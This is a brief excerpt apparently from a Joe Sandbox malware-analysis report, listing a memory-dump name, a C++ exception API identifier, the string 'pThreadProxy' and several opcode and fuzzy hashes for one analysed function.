                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Exception@8Throwstd::invalid_argument::invalid_argument
                                          • String ID: pThreadProxy
                                          • API String ID: 1687795959-3651400591
                                          • Opcode ID: 449350cd8f1383b6fd27325c27bca83cba3b102e9726403263e15a0fffc851a6
                                          • Instruction ID: 3c0ec5f02b3388dc7c0266e8505c63ba8512b17d37b48c01b7026a9d856cdf63
                                          • Opcode Fuzzy Hash: 449350cd8f1383b6fd27325c27bca83cba3b102e9726403263e15a0fffc851a6
                                          • Instruction Fuzzy Hash: B8D05E72A00208AEC700EBA9D80BE8E77BCAB40768F1481767915A6186EE70E505CAA0